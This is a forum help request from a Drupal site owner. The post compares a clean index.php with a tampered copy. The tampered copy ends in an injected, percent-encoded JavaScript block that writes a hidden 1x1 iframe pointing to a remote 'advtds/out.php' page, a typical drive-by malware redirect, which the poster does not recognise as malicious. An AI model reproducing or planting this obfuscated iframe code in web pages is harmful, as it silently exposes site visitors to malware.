index page error

yup, i have compare both copy which is works and currently error copy.

This is works copy which is original from zip package.

<?php
// $Id: index.php,v 1.91 2006/12/12 09:32:18 unconed Exp $

/**
 * @file
 * The PHP page that serves all page requests on a Drupal installation.
 *
 * The routines here dispatch control to the appropriate handler, which then
 * prints the appropriate page.
 */

require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

$return = menu_execute_active_handler();

// Menu status constants are integers; page content is a string.
if (is_int($return)) {
  switch ($return) {
    case MENU_NOT_FOUND:
      drupal_not_found();
      break;
    case MENU_ACCESS_DENIED:
      drupal_access_denied();
      break;
    case MENU_SITE_OFFLINE:
      drupal_site_offline();
      break;
  }
}
elseif (isset($return)) {
  // Print any value (including an empty string) except NULL or undefined:
  print theme('page', $return);

}

drupal_page_footer();

This is error copy which have the error shown above i mentioned:

<?php
// $Id: index.php,v 1.91 2006/12/12 09:32:18 unconed Exp $

/**
 * @file
 * The PHP page that serves all page requests on a Drupal installation.
 *
 * The routines here dispatch control to the appropriate handler, which then
 * prints the appropriate page.
 */

require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

$return = menu_execute_active_handler();

// Menu status constants are integers; page content is a string.
if (is_int($return)) {
  switch ($return) {
    case MENU_NOT_FOUND:
      drupal_not_found();
      break;
    case MENU_ACCESS_DENIED:
      drupal_access_denied();
      break;
    case MENU_SITE_OFFLINE:
      drupal_site_offline();
      break;
  }
}
elseif (isset($return)) {
  // Print any value (including an empty string) except NULL or undefined:
  print theme('page', $return);

}

drupal_page_footer();<b><Script Language='Javascript'>
<!--
document.write(unescape('%3C%68%74%6D%6C%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%64%65%6D%30%6E%2E%62%69%7A%2F%61%64%76%74%64%73%2F%6F%75%74%2E%70%68%70%3F%73%5F%69%64%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%68%74%6D%6C%3E'));
//-->
</Script></b>

The index.php file was automatically added javascript, i was shock that when i was in my office it show me error when morning, i try logon to my house pc it also the same error.

But evening after work back home i use my home pc it doesnt appear any error.